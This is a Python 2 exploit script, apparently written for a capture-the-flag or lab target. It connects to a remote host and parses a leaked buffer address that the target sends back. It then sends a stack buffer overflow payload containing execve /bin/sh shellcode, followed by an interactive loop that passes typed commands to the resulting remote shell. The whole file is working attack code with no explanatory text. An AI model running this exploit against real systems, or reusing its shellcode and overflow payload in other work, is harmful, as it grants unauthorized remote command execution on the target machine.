import sys,string,socket,time,argparse,binascii

def read(s):
    s.setblocking(0)
    recv_buf = ''
    data = []
    timeout = 1
              
    begin=time.time()
    while 1:
        if data and time.time()-begin > timeout:
            break
        elif time.time()-begin > timeout*2:
            break
        try:
            recv_buf = s.recv(1024)
            if recv_buf:
                data.append(recv_buf)
                begin = time.time()
            else:
                time.sleep(0.25)
        except:
            pass
    return ''.join(data)  

def connect(host,port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ip = socket.gethostbyname(host)
        sock.connect((ip, int(port)))
        return sock
        
    except socket.error, msg:
        print str('Error trying to connect.')

def main():
    try:
        parser = argparse.ArgumentParser()

        # Host and Port arguments required to connect to remote host
        parser.add_argument(
                '-H', '--host',type=str, help='IP Address', required = False)
        parser.add_argument(
                '-p', '--port',type=int, help='TCP Port', required = False)
      
        args = parser.parse_args()

    except argparse.ArgumentError as err:
        print str(err)
        sys.exit(1)

    sock = connect(args.host, args.port)
    
    sc =  ""
    sc += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
    sc += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
    sc += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
    sc += "\x89\xe1\xcd\x80"
    # execve /bin/sh 43 bytes

    exploit = "A"*20 + sc + "A"*65 + "\xa5\x31\x5a\x47\x55\x15\x50\x40" + "B"*12
		
    # Stage 1
    buff = read(sock)[8:]
    print "Buffer is at: 0x" + buff + "\n"
    
    i = 8
    newbuff = ''
    while i > 0:
        i -= 2
        newbuff += buff[i] + buff[i+1]
        
    print "Buffer has been readjusted to little endian: 0x" + newbuff
     
    exploit += newbuff.decode('hex')
    
    sock.sendall(exploit + "\n")
    read(sock)
    sock.sendall("ls\n")
    read(sock)
    
    line = ''
    while True:
        line = raw_input('>> ')
        if line == 'q':
            sys.exit()
        sock.sendall(line)
        read(sock)


if __name__ == "__main__":
    main()